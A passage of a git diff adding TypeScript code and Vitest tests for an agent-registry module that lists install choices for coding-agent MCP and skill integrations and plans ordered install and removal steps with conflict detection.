listInstallChoices('copilot', 'skill', {+ probes: snapshotOf({ [COPILOT_PROJECT_SKILL]: 'satisfied' }),+ });++ const choice = choiceFor(result, COPILOT_PROJECT_SKILL);+ expect(choice.present).toBe(true);+ expect(choice.installable).toBe(true);+ expect(choice.blockedReason).toBe(null);+ expect(choice.unmetPrerequisites).toEqual([+ 'copilot/mcp/project/config-entry',+ 'copilot/mcp/user/config-entry',+ ]);+ });++ it('is installable once nothing stands in the way', () => {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({ [CLAUDE_USER_MCP]: 'absent' }),+ detection: probedDetection(['claude']),+ });++ const choice = choiceFor(result, CLAUDE_USER_MCP);+ expect(choice.present).toBe(false);+ expect(choice.installable).toBe(true);+ expect(choice.blockedReason).toBeNull();+ });++ it('offers an entry somebody else owns as a writable overwrite', () => {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({ [CLAUDE_USER_MCP]: 'foreign-replaceable' }),+ });++ const choice = choiceFor(result, CLAUDE_USER_MCP);+ expect(choice.blockedReason).toBeNull();+ expect(choice.present).toBe(false);+ });++ it('never claims OK can overwrite one a merging writer owns', () => {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({ [CLAUDE_USER_MCP]: 'foreign' }),+ });++ expect(choiceFor(result, CLAUDE_USER_MCP).blockedReason).toBe('foreign');+ });++ it('agrees with the settings authority about what is already in place', () => {+ for (const state of KNOWN_SURFACE_STATES) {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({ [CLAUDE_USER_MCP]: state }),+ });+ expect(choiceFor(result, CLAUDE_USER_MCP).present).toBe(STATE_POLICY[state].counts);+ }+ });+});++describe('when there is nothing to choose between', () => {+ it('reports an unregistered agent with a reason rather than a bare empty list', () => {+ const result = listInstallChoices('some-long-tail-agent', 'mcp');++ expect(result.status).toBe('not-registered');+ expect(result.choices).toEqual([]);+ expect(result.agentId).toBe('some-long-tail-agent');+ expect(result.piece).toBe('mcp');+ });++ it('reports no surface at all when the agent has none of that kind', () => {+ const result = listInstallChoices('gemini', 'skill');++ expect(result.status).toBe('no-surface');+ expect(result.choices).toEqual([]);+ });++ it('reports the surfaces as absent on this machine, still listing them', () => {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({+ [CLAUDE_USER_MCP]: 'structural-na',+ [CLAUDE_PROJECT_MCP]: 'structural-na',+ }),+ });++ expect(result.status).toBe('structurally-absent');+ expect(result.choices).toHaveLength(2);+ for (const choice of result.choices) {+ expect(choice.blockedReason).toBe('structural-na');+ }+ });++ it('still offers when only one of the surfaces is absent', () => {+ const result = listInstallChoices('claude', 'mcp', {+ probes: snapshotOf({ [CLAUDE_USER_MCP]: 'structural-na' }),+ });++ expect(result.status).toBe('offer');+ });+});++describe('degrading rather than throwing', () => {+ it('survives every registered agent and piece with no context at all', () => {+ for (const agentId of Object.keys(AGENT_REGISTRY)) {+ for (const piece of ['mcp', 'skill'] as const) {+ expect(() => listInstallChoices(agentId, piece)).not.toThrow();+ }+ }+ });++ it('survives garbage where a snapshot should be', () => {+ const junk = { env: 'desktop', satisfiers: { [CLAUDE_USER_MCP]: 'nope' } } as unknown;++ const result = listInstallChoices('claude', 'mcp', {+ probes: junk as ProbeSnapshot,+ detection: junk as DetectionSnapshot,+ });++ expect(result.status).toBe('offer');+ expect(choiceFor(result, CLAUDE_USER_MCP).state).toBe('unprobed');+ });++ it('treats a piece it has no vocabulary for as no surface', () => {+ const result = listInstallChoices('claude', 'hologram' as 'mcp');++ expect(result.status).toBe('no-surface');+ expect(result.choices).toEqual([]);+ });++ it('claims nothing about detection when nobody looked', () => {+ const result = listInstallChoices('hermes', 'mcp', {+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+ });++ expect(choiceFor(result, HERMES_USER_MCP).blockedReason).toBeNull();+ });+});diff --git a/packages/core/src/agent-registry/install-choices.ts b/packages/core/src/agent-registry/install-choices.tsnew file mode 100644index 000000000..88847e177--- /dev/null+++ b/packages/core/src/agent-registry/install-choices.ts@@ -0,0 +1,150 @@+import { getAgentRecord } from './agents.ts';+import {+ type BlockedReason,+ requiresExplicitConsent,+ resolveAgentFold,+ resolveBlockedReason,+ resolveSurfaceState,+ statePolicyFor,+ unmetPrerequisites,+} from './fold.ts';+import type { AgentId, IntegrationPiece, PathId, SatisfierId, SatisfierScope } from './ids.ts';+import type {+ AudienceClass,+ GuidanceRef,+ Installability,+ NOT_INSTALLABLE_REASONS,+ SatisfierRecord,+} from './schema.ts';+import type { DetectionSnapshot, ProbeSnapshot } from './snapshot.ts';+import {+ type ConsentClass,+ DISK_BACKED_SATISFIER_KINDS,+ type SatisfierKind,+ type SurfaceState,+} from './vocabulary.ts';++export const INSTALL_CHOICE_STATUSES = [+ 'offer',+ 'handled',+ 'no-surface',+ 'structurally-absent',+ 'not-registered',+] as const;+export type InstallChoiceStatus = (typeof INSTALL_CHOICE_STATUSES)[number];++export interface InstallChoice {+ readonly satisfierId: SatisfierId;+ readonly agentId: AgentId;+ readonly piece: IntegrationPiece;+ readonly scope: SatisfierScope;+ readonly kind: SatisfierKind;+ readonly pathId?: PathId;+ readonly audience: AudienceClass;+ readonly installability: Installability;+ readonly notInstallableReason?: (typeof NOT_INSTALLABLE_REASONS)[number];+ readonly preferred: boolean;+ readonly state: SurfaceState;+ readonly present: boolean;+ readonly installable: boolean;+ readonly blockedReason: BlockedReason | null;+ readonly requiresExplicitConsent: boolean;+ readonly consentClass: ConsentClass;+ readonly unmetPrerequisites: readonly SatisfierId[];+ readonly sharedWith: readonly AgentId[];+ readonly caveats: readonly GuidanceRef[];+ readonly guidance?: GuidanceRef;+}++export interface InstallChoices {+ readonly agentId: string;+ readonly piece: IntegrationPiece;+ readonly status: InstallChoiceStatus;+ readonly choices: readonly InstallChoice[];+}++export interface InstallChoiceContext {+ readonly probes?: ProbeSnapshot | null;+ readonly detection?: DetectionSnapshot | null;+}++function toChoice(+ satisfier: SatisfierRecord,+ agentFolded: boolean,+ probes: ProbeSnapshot | null | undefined,+): InstallChoice {+ const state = resolveSurfaceState(satisfier, probes);+ const unmet = unmetPrerequisites(satisfier.prerequisites, probes);+ const blockedReason = resolveBlockedReason({+ state,+ installability: satisfier.installability,+ agentFolded,+ });++ return {+ satisfierId: satisfier.id,+ agentId: satisfier.agent,+ piece: satisfier.piece,+ scope: satisfier.scope,+ kind: satisfier.kind,+ ...(satisfier.pathId === undefined ? {} : { pathId: satisfier.pathId }),+ audience: satisfier.audience,+ installability: satisfier.installability,+ ...(satisfier.notInstallableReason === undefined+ ? {}+ : { notInstallableReason: satisfier.notInstallableReason }),+ preferred: satisfier.preferred,+ state,+ present: statePolicyFor(state).counts,+ installable: blockedReason === null,+ blockedReason,+ requiresExplicitConsent: requiresExplicitConsent(state),+ consentClass: satisfier.consentClass,+ unmetPrerequisites: unmet,+ sharedWith: satisfier.sharedWith,+ caveats: [satisfier.followup, satisfier.troubleshooting].filter(+ (ref): ref is GuidanceRef => ref !== undefined,+ ),+ ...(satisfier.guidance === undefined ? {} : { guidance: satisfier.guidance }),+ };+}++export function listInstallChoices(+ agentId: string,+ piece: IntegrationPiece,+ ctx: InstallChoiceContext = {},+): InstallChoices {+ const record = getAgentRecord(agentId);+ if (record === undefined) {+ return { agentId, piece, status: 'not-registered', choices: [] };+ }++ const forPiece = record.satisfiers.filter((satisfier) => satisfier.piece === piece);+ if (forPiece.length === 0) {+ return { agentId, piece, status: 'no-surface', choices: [] };+ }++ const { folded } = resolveAgentFold(record, ctx.detection);+ const onDisk = forPiece.filter((satisfier) =>+ DISK_BACKED_SATISFIER_KINDS.includes(satisfier.kind),+ );++ if (onDisk.length === 0) {+ return {+ agentId,+ piece,+ status: 'handled',+ choices: forPiece.map((satisfier) => toChoice(satisfier, folded, ctx.probes)),+ };+ }++ const choices = onDisk.map((satisfier) => toChoice(satisfier, folded, ctx.probes));+ const nowhereToWrite = choices.every((choice) => choice.state === 'structural-na');++ return {+ agentId,+ piece,+ status: nowhereToWrite ? 'structurally-absent' : 'offer',+ choices,+ };+}diff --git a/packages/core/src/agent-registry/intents.test.ts b/packages/core/src/agent-registry/intents.test.tsnew file mode 100644index 000000000..678449721--- /dev/null+++ b/packages/core/src/agent-registry/intents.test.ts@@ -0,0 +1,611 @@+import { describe, expect, it } from 'vitest';+import {+ type ApplyIntent,+ buildConnectionsView,+ type ConnectionCell,+ type ConnectionsView,+ EMPTY_PROBE_SNAPSHOT,+ type IntentPlan,+ PLAN_CONFLICT_KINDS,+ type PlanConflictKind,+ type ProbeSnapshot,+ planIntents,+ type SatisfierId,+ type SurfaceState,+} from './index.ts';+import { preferredPrerequisite } from './intents.ts';++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry' as SatisfierId;+const CLAUDE_USER_MCP = 'claude/mcp/user/config-entry' as SatisfierId;+const CLAUDE_PROJECT_SKILL = 'claude/skill/project/skill-bundle-copy' as SatisfierId;+const CLAUDE_USER_SKILL = 'claude/skill/user/skill-bundle-copy' as SatisfierId;+const CLAUDE_SESSION = 'claude/mcp/session/session-injection' as SatisfierId;+const CODEX_USER_SKILL = 'codex/skill/user/skill-bundle-copy' as SatisfierId;+const COPILOT_PROJECT_MCP = 'copilot/mcp/project/config-entry' as SatisfierId;+const COPILOT_USER_MCP = 'copilot/mcp/user/config-entry' as SatisfierId;+const COPILOT_PROJECT_SKILL = 'copilot/skill/project/skill-bundle-copy' as SatisfierId;++function snapshotOf(states: Record<string, SurfaceState>): ProbeSnapshot {+ return {+ env: 'desktop',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ };+}++function viewWith(states: Record<string, SurfaceState> = {}): ConnectionsView {+ return buildConnectionsView({ probes: snapshotOf(states) });+}++function want(satisfierId: SatisfierId, desired: 'present' | 'absent'): ApplyIntent {+ return { satisfierId, desired };+}++function ids(plan: IntentPlan): string[] {+ return plan.steps.map((step) => step.satisfierId);+}++function kinds(plan: IntentPlan): PlanConflictKind[] {+ return plan.conflicts.map((conflict) => conflict.kind);+}++function positionOf(plan: IntentPlan, satisfierId: SatisfierId): number {+ return ids(plan).indexOf(satisfierId);+}++describe('planning a batch', () => {+ it('returns an empty plan for an empty batch', () => {+ const plan = planIntents([], viewWith());++ expect(plan.steps).toEqual([]);+ expect(plan.conflicts).toEqual([]);+ expect(plan.withheld).toEqual([]);+ });++ it('plans one requested artifact with what the executor needs to write it', () => {+ const plan = planIntents(+ [want(CLAUDE_USER_MCP, 'present')],+ viewWith({ [CLAUDE_USER_MCP]: 'absent' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(plan.steps).toHaveLength(1);+ const [step] = plan.steps;+ expect(step).toMatchObject({+ satisfierId: CLAUDE_USER_MCP,+ agentId: 'claude',+ piece: 'mcp',+ scope: 'user',+ desired: 'present',+ origin: 'requested',+ state: 'absent',+ installability: 'installable',+ alreadyInDesiredState: false,+ dependsOn: [],+ });+ expect(step?.pathId).toBeDefined();+ });++ it('reports an artifact already in the requested state instead of hiding it', () => {+ const plan = planIntents(+ [want(CLAUDE_USER_MCP, 'present')],+ viewWith({ [CLAUDE_USER_MCP]: 'satisfied' }),+ );++ expect(plan.steps[0]?.alreadyInDesiredState).toBe(true);+ });++ it('collapses the same artifact requested twice the same way', () => {+ const plan = planIntents(+ [want(CLAUDE_USER_SKILL, 'present'), want(CLAUDE_USER_SKILL, 'present')],+ viewWith(),+ );++ expect(ids(plan)).toEqual([CLAUDE_USER_SKILL]);+ expect(plan.conflicts).toEqual([]);+ });+});++describe('ordering by prerequisite', () => {+ it("puts copilot's MCP entries before the skill that needs them", () => {+ const plan = planIntents(+ [+ want(COPILOT_PROJECT_SKILL, 'present'),+ want(COPILOT_PROJECT_MCP, 'present'),+ want(COPILOT_USER_MCP, 'present'),+ ],+ viewWith(),+ );++ expect(plan.conflicts).toEqual([]);+ expect(positionOf(plan, COPILOT_PROJECT_MCP)).toBeLessThan(+ positionOf(plan, COPILOT_PROJECT_SKILL),+ );+ expect(positionOf(plan, COPILOT_USER_MCP)).toBeLessThan(+ positionOf(plan, COPILOT_PROJECT_SKILL),+ );+ });++ it('names the steps a step waits on, so a skipped one can be attributed', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_SKILL, 'present'), want(CLAUDE_PROJECT_MCP, 'present')],+ viewWith(),+ );++ const skill = plan.steps.find((step) => step.satisfierId === CLAUDE_PROJECT_SKILL);+ expect(skill?.dependsOn).toEqual([CLAUDE_PROJECT_MCP]);+ });++ it('adds ONE unmet prerequisite nobody asked for, ordered first and labelled', () => {+ const plan = planIntents([want(COPILOT_PROJECT_SKILL, 'present')], viewWith());++ expect(plan.conflicts).toEqual([]);+ const added = plan.steps.filter((step) => step.origin === 'prerequisite');+ expect(added).toHaveLength(1);+ expect(positionOf(plan, added[0]?.satisfierId as SatisfierId)).toBeLessThan(+ positionOf(plan, COPILOT_PROJECT_SKILL),+ );+ });++ it("prefers the member the agent owns alone over one borrowed from another agent's file", () => {+ const plan = planIntents([want(COPILOT_PROJECT_SKILL, 'present')], viewWith());++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).toContain(COPILOT_USER_MCP);+ expect(ids(plan)).not.toContain(COPILOT_PROJECT_MCP);+ });++ it('resolves the OR-set to the one remaining unblocked member', () => {+ const plan = planIntents(+ [want(COPILOT_PROJECT_SKILL, 'present')],+ viewWith({ [COPILOT_USER_MCP]: 'foreign' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).toContain(COPILOT_PROJECT_MCP);+ expect(ids(plan)).not.toContain(COPILOT_USER_MCP);+ });++ it('ranks an owned entry that needs no follow-up first, then declaration order', () => {+ const cell = (satisfierId: string, sharedWith: string[], consentClass: string) =>+ ({ satisfierId, sharedWith, consentClass }) as unknown as ConnectionCell;+ const borrowedTrustGated = cell('a', ['claude'], 'trust-gated');+ const ownedApproveOnce = cell('b', [], 'approve-once');+ const ownedPlain = cell('c', [], 'none');+ const ownedPlainLater = cell('d', [], 'none');++ expect(preferredPrerequisite([borrowedTrustGated, ownedApproveOnce, ownedPlain])).toBe(+ ownedPlain,+ );+ expect(preferredPrerequisite([borrowedTrustGated, ownedApproveOnce])).toBe(ownedApproveOnce);+ expect(preferredPrerequisite([ownedPlain, ownedPlainLater])).toBe(ownedPlain);+ expect(preferredPrerequisite([])).toBeUndefined();+ });++ it('adds nothing when one member of the OR-set is already in place', () => {+ const plan = planIntents(+ [want(COPILOT_PROJECT_SKILL, 'present')],+ viewWith({ [COPILOT_USER_MCP]: 'satisfied' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).not.toContain(COPILOT_PROJECT_MCP);+ expect(ids(plan)).not.toContain(COPILOT_USER_MCP);+ });++ it('leaves a prerequisite already in place out of the plan', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_SKILL, 'present')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied' }),+ );++ expect(ids(plan)).toEqual([CLAUDE_PROJECT_SKILL]);+ });++ it('removes a dependent before the thing it depends on', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'absent'), want(CLAUDE_PROJECT_SKILL, 'absent')],+ viewWith({+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [CLAUDE_PROJECT_SKILL]: 'satisfied',+ [COPILOT_PROJECT_MCP]: 'absent',+ }),+ );++ expect(positionOf(plan, CLAUDE_PROJECT_SKILL)).toBeLessThan(+ positionOf(plan, CLAUDE_PROJECT_MCP),+ );+ });++ it('holds back work whose prerequisite the same batch takes away', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_SKILL, 'present'), want(CLAUDE_PROJECT_MCP, 'absent')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'satisfied' }),+ );++ expect(kinds(plan)).toContain('prerequisite-removed');+ expect(ids(plan)).not.toContain(CLAUDE_PROJECT_SKILL);+ expect(ids(plan)).not.toContain(CLAUDE_PROJECT_MCP);+ });++ it('refuses to add a prerequisite somebody else owns, and holds back what needed it', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_SKILL, 'present')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'foreign-replaceable' }),+ );++ const conflict = plan.conflicts.find((entry) => entry.kind === 'prerequisite-unavailable');+ expect(conflict?.blockedReason).toBe('foreign-replaceable');+ expect(conflict?.satisfierIds).toEqual([CLAUDE_PROJECT_MCP, CLAUDE_PROJECT_SKILL]);+ expect(plan.steps).toEqual([]);+ expect(plan.withheld).toEqual([CLAUDE_PROJECT_SKILL]);+ });++ it('plans the overwrite when the user ticks the foreign row itself', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'present')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'foreign-replaceable' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).toContain(CLAUDE_PROJECT_MCP);+ });+});++describe('artifacts more than one agent reads', () => {+ it('reports a removal that would disconnect an agent the batch never mentioned', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'absent')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'satisfied' }),+ );++ const conflict = plan.conflicts.find((entry) => entry.kind === 'unresolved-shared-copy');+ expect(conflict?.satisfierIds).toEqual([CLAUDE_PROJECT_MCP, COPILOT_PROJECT_MCP]);+ expect(conflict?.agentIds).toEqual(['claude', 'copilot']);+ expect(conflict?.pathId).toBeDefined();+ expect(plan.steps).toEqual([]);+ });++ it('accepts the removal once the batch says what happens to the peer', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'absent'), want(COPILOT_PROJECT_MCP, 'absent')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'satisfied' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).toHaveLength(2);+ });++ it('leaves a removal alone when no peer is reading the file anyway', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'absent')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'absent' }),+ );++ expect(plan.conflicts).toEqual([]);+ expect(ids(plan)).toEqual([CLAUDE_PROJECT_MCP]);+ });++ it('will not call a removal safe when the peer is outside the view it was given', () => {+ const view = buildConnectionsView({+ agentIds: ['claude'],+ probes: snapshotOf({ [CLAUDE_PROJECT_MCP]: 'satisfied' }),+ });+ const plan = planIntents([want(CLAUDE_PROJECT_MCP, 'absent')], view);++ expect(kinds(plan)).toContain('unresolved-shared-copy');+ expect(plan.steps).toEqual([]);+ });++ it('refuses to remove through an observed folder alias, naming the agent on the other end', () => {+ const probes: ProbeSnapshot = {+ env: 'desktop',+ satisfiers: {+ [CLAUDE_USER_SKILL]: { state: 'satisfied', sharedWith: ['codex'] },+ [CODEX_USER_SKILL]: { state: 'satisfied', sharedWith: ['claude'] },+ },+ };+ const view = buildConnectionsView({ probes });++ const codexCell = view.rows+ .flatMap((row) => row.scopes.flatMap((scope) => scope.cells))+ .find((cell: ConnectionCell) => cell.satisfierId === CODEX_USER_SKILL);+ expect(codexCell?.sharedFolderWith).toEqual(['claude']);+ expect(codexCell?.sharedWith).toEqual([]);++ const plan = planIntents([want(CODEX_USER_SKILL, 'absent')], view);+ const conflict = plan.conflicts.find((entry) => entry.kind === 'unresolved-shared-copy');+ expect(conflict?.satisfierIds).toEqual([CODEX_USER_SKILL, CLAUDE_USER_SKILL]);+ expect(conflict?.agentIds).toEqual(['codex', 'claude']);+ expect(conflict?.pathId).toBeUndefined();+ expect(plan.steps).toEqual([]);+ });++ it('removes through an observed folder alias once the batch removes the peer too', () => {+ const probes: ProbeSnapshot = {+ env: 'desktop',+ satisfiers: {+ [CLAUDE_USER_SKILL]: { state: 'satisfied', sharedWith: ['codex'] },+ [CODEX_USER_SKILL]: { state: 'satisfied', sharedWith: ['claude'] },+ },+ };+ const view = buildConnectionsView({ probes });++ const plan = planIntents(+ [want(CODEX_USER_SKILL, 'absent'), want(CLAUDE_USER_SKILL, 'absent')],+ view,+ );+ expect(kinds(plan)).not.toContain('unresolved-shared-copy');+ expect(ids(plan)).toEqual([CODEX_USER_SKILL, CLAUDE_USER_SKILL]);+ });++ it('leaves an observed folder alias alone when the peer has nothing installed', () => {+ const probes: ProbeSnapshot = {+ env: 'desktop',+ satisfiers: {+ [CLAUDE_USER_SKILL]: { state: 'absent' },+ [CODEX_USER_SKILL]: { state: 'satisfied', sharedWith: ['claude'] },+ },+ };+ const plan = planIntents([want(CODEX_USER_SKILL, 'absent')], buildConnectionsView({ probes }));+ expect(kinds(plan)).not.toContain('unresolved-shared-copy');+ expect(ids(plan)).toEqual([CODEX_USER_SKILL]);+ });++ it('reports one file asked to be two things', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'present'), want(COPILOT_PROJECT_MCP, 'absent')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'satisfied' }),+ );++ const conflict = plan.conflicts.find((entry) => entry.kind === 'contradictory-intents');+ expect(conflict?.pathId).toBeDefined();+ expect(conflict?.satisfierIds).toEqual([CLAUDE_PROJECT_MCP, COPILOT_PROJECT_MCP]);+ expect(ids(plan)).not.toContain(CLAUDE_PROJECT_MCP);+ expect(ids(plan)).not.toContain(COPILOT_PROJECT_MCP);+ });++ it('reports one artifact asked to be two things directly', () => {+ const plan = planIntents(+ [want(CLAUDE_USER_MCP, 'present'), want(CLAUDE_USER_MCP, 'absent')],+ viewWith(),+ );++ expect(kinds(plan)).toEqual(['contradictory-intents']);+ expect(plan.steps).toEqual([]);+ });+});++describe('what a conflicted batch still licenses', () => {+ it('licenses nothing: a conflict anywhere withholds the whole batch', () => {+ const plan = planIntents(+ [+ want(CLAUDE_USER_MCP, 'present'),+ want(CLAUDE_USER_MCP, 'absent'),+ want(CLAUDE_USER_SKILL, 'present'),+ ],+ viewWith(),+ );++ expect(kinds(plan)).toEqual(['contradictory-intents']);+ expect(plan.steps).toEqual([]);+ expect(plan.withheld).toEqual([CLAUDE_USER_MCP, CLAUDE_USER_SKILL]);+ });++ it('withholds the untouched artifacts of a removal whose shared copy is unresolved', () => {+ const plan = planIntents(+ [+ want(CLAUDE_PROJECT_MCP, 'absent'),+ want(CLAUDE_USER_MCP, 'absent'),+ want(CLAUDE_USER_SKILL, 'absent'),+ ],+ viewWith({+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [COPILOT_PROJECT_MCP]: 'satisfied',+ [CLAUDE_USER_MCP]: 'satisfied',+ [CLAUDE_USER_SKILL]: 'satisfied',+ }),+ );++ expect(kinds(plan)).toEqual(['unresolved-shared-copy']);+ expect(plan.steps).toEqual([]);+ expect(plan.withheld).toEqual(+ expect.arrayContaining([CLAUDE_PROJECT_MCP, CLAUDE_USER_MCP, CLAUDE_USER_SKILL]),+ );+ });++ it('holds back a step whose dependency was held back', () => {+ const plan = planIntents(+ [+ want(CLAUDE_PROJECT_MCP, 'present'),+ want(CLAUDE_PROJECT_MCP, 'absent'),+ want(CLAUDE_PROJECT_SKILL, 'present'),+ ],+ viewWith(),+ );++ expect(plan.steps).toEqual([]);+ expect(plan.withheld).toContain(CLAUDE_PROJECT_SKILL);+ });+});++describe('edges that do not resolve', () => {+ it('reports a loop instead of looping', () => {+ const a = 'claude/mcp/project/config-entry' as SatisfierId;+ const b = 'claude/skill/project/skill-bundle-copy' as SatisfierId;+ const view = cyclicView(a, b);++ const plan = planIntents([want(a, 'present'), want(b, 'present')], view);++ const conflict = plan.conflicts.find((entry) => entry.kind === 'prerequisite-cycle');+ expect(conflict?.satisfierIds).toEqual([a, b]);+ expect(plan.steps).toEqual([]);+ });++ it('reports an artifact the view does not carry', () => {+ const plan = planIntents(+ [want('not-an-agent/mcp/user/config-entry' as SatisfierId, 'present')],+ viewWith(),+ );++ expect(kinds(plan)).toEqual(['unknown-satisfier']);+ expect(plan.steps).toEqual([]);+ });++ it('reports a session-only artifact, which no settings view carries', () => {+ const plan = planIntents([want(CLAUDE_SESSION, 'present')], viewWith());++ expect(kinds(plan)).toEqual(['unknown-satisfier']);+ });+});++describe('never throwing', () => {+ const view = viewWith();++ it('tolerates a batch that is not a list', () => {+ expect(planIntents(null, view)).toEqual({ steps: [], conflicts: [], withheld: [] });+ expect(planIntents(undefined, view)).toEqual({ steps: [], conflicts: [], withheld: [] });+ expect(planIntents('nope' as never, view)).toEqual({ steps: [], conflicts: [], withheld: [] });+ });++ it('tolerates a view that is missing or unusable', () => {+ const intents = [want(CLAUDE_USER_MCP, 'present')];++ for (const bad of [null, undefined, {} as ConnectionsView, { rows: 'no' } as never]) {+ const plan = planIntents(intents, bad);+ expect(kinds(plan)).toEqual(['unknown-satisfier']);+ expect(plan.steps).toEqual([]);+ }+ });++ it('reports a submission that is not an intent at all', () => {+ const plan = planIntents(+ [null, { satisfierId: 7 }, { satisfierId: CLAUDE_USER_MCP, desired: 'maybe' }] as never,+ view,+ );++ expect(kinds(plan)).toEqual(['malformed-intent', 'malformed-intent', 'malformed-intent']);+ expect(plan.steps).toEqual([]);+ });++ it('degrades every artifact to unprobed when nobody looked, and still plans', () => {+ const plan = planIntents(+ [want(CLAUDE_USER_MCP, 'present')],+ buildConnectionsView({ probes: EMPTY_PROBE_SNAPSHOT }),+ );++ expect(plan.steps[0]?.state).toBe('unprobed');+ expect(plan.conflicts).toEqual([]);+ });+});++describe('the conflict vocabulary', () => {+ it('has a unique member per pre-save answer', () => {+ expect(new Set(PLAN_CONFLICT_KINDS).size).toBe(PLAN_CONFLICT_KINDS.length);+ });+});++function cyclicView(a: SatisfierId, b: SatisfierId): ConnectionsView {+ const cell = (satisfierId: SatisfierId, prerequisite: SatisfierId): ConnectionCell => ({+ satisfierId,+ agentId: 'claude',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ audience: 'this-project',+ state: 'absent',+ checked: false,+ exception: null,+ folded: false,+ enabled: true,+ disabledReason: null,+ sharedWith: [],+ prerequisites: [prerequisite],+ unmetPrerequisites: [prerequisite],+ consentClass: 'none',+ installability: 'installable',+ });++ return {+ rows: [+ {+ agentId: 'claude',+ status: 'not-configured',+ detected: null,+ folded: false,+ setupDocSlug: null,+ scopes: [{ scope: 'project', summary: 'none', cells: [cell(a, b), cell(b, a)] }],+ },+ ],+ };+}++describe('a folder shared with an agent that has no row of its own', () => {+ it('refuses the removal and names the agent even though nothing of theirs can be widened', () => {+ const cursorProjectSkill = 'cursor/skill/project/skill-bundle-copy' as SatisfierId;+ const probes: ProbeSnapshot = {+ env: 'desktop',+ satisfiers: {+ [cursorProjectSkill]: { state: 'satisfied', sharedWith: ['lm-studio'] },+ },+ };+ const plan = planIntents(+ [want(cursorProjectSkill, 'absent')],+ buildConnectionsView({ probes }),+ );++ const conflict = plan.conflicts.find((entry) => entry.kind === 'unresolved-shared-copy');+ expect(conflict?.satisfierIds).toEqual([cursorProjectSkill]);+ expect(conflict?.agentIds).toEqual(['cursor', 'lm-studio']);+ expect(plan.steps).toEqual([]);+ });+});++describe('an OR-set of prerequisites', () => {+ it('lets one satisfied member go when another member stays', () => {+ const plan = planIntents(+ [want(COPILOT_USER_MCP, 'absent')],+ viewWith({+ [COPILOT_PROJECT_MCP]: 'satisfied',+ [CLAUDE_PROJECT_MCP]: 'satisfied',+ [COPILOT_USER_MCP]: 'satisfied',+ [COPILOT_PROJECT_SKILL]: 'satisfied',+ }),+ );++ expect(kinds(plan)).not.toContain('prerequisite-removed');+ expect(ids(plan)).toEqual([COPILOT_USER_MCP]);+ });++ it('still refuses when the batch removes the only member the skill has', () => {+ const plan = planIntents(+ [want(COPILOT_USER_MCP, 'absent'), want(COPILOT_PROJECT_SKILL, 'present')],+ viewWith({ [COPILOT_USER_MCP]: 'satisfied', [COPILOT_PROJECT_MCP]: 'absent' }),+ );++ expect(kinds(plan)).toContain('prerequisite-removed');+ expect(plan.steps).toEqual([]);+ });+});++describe('a directly submitted intent for a blocked cell', () => {+ it('is refused with the reason rather than stepped', () => {+ const plan = planIntents(+ [want(CLAUDE_PROJECT_MCP, 'present')],+ viewWith({ [CLAUDE_PROJECT_MCP]: 'foreign' }),+ );++ const conflict = plan.conflicts.find((entry) => entry.kind === 'blocked-satisfier');+ expect(conflict?.satisfierIds).toEqual([CLAUDE_PROJECT_MCP]);+ expect(conflict?.blockedReason).toBe('foreign');+ expect(plan.steps).toEqual([]);+ });++ it('still lets a removal through for a cell that is merely not installable here', () => {+ const plan = planIntents(+ [want(COPILOT_USER_MCP, 'absent')],+ viewWith({ [COPILOT_USER_MCP]: 'structural-na' }),+ );++ expect(kinds(plan)).not.toContain('blocked-satisfier');+ });+});diff --git a/packages/core/src/agent-registry/intents.ts b/packages/core/src/agent-registry/intents.tsnew file mode 100644index 000000000..d6cd2e774--- /dev/null+++ b/packages/core/src/agent-registry/intents.ts@@ -0,0 +1,447 @@+import type { ConnectionCell, ConnectionsView } from './connections.ts';+import { type PrerequisiteBlocker, requiresExplicitConsent } from './fold.ts';+import type { AgentId, IntegrationPiece, PathId, SatisfierId, SatisfierScope } from './ids.ts';+import type { Installability } from './schema.ts';+import type { SatisfierKind, SurfaceState } from './vocabulary.ts';++export const INTENT_DESIRES = ['present', 'absent'] as const;+export type IntentDesire = (typeof INTENT_DESIRES)[number];++export interface ApplyIntent {+ readonly satisfierId: SatisfierId;+ readonly desired: IntentDesire;+}++export const PLAN_STEP_ORIGINS = ['requested', 'prerequisite'] as const;+export type 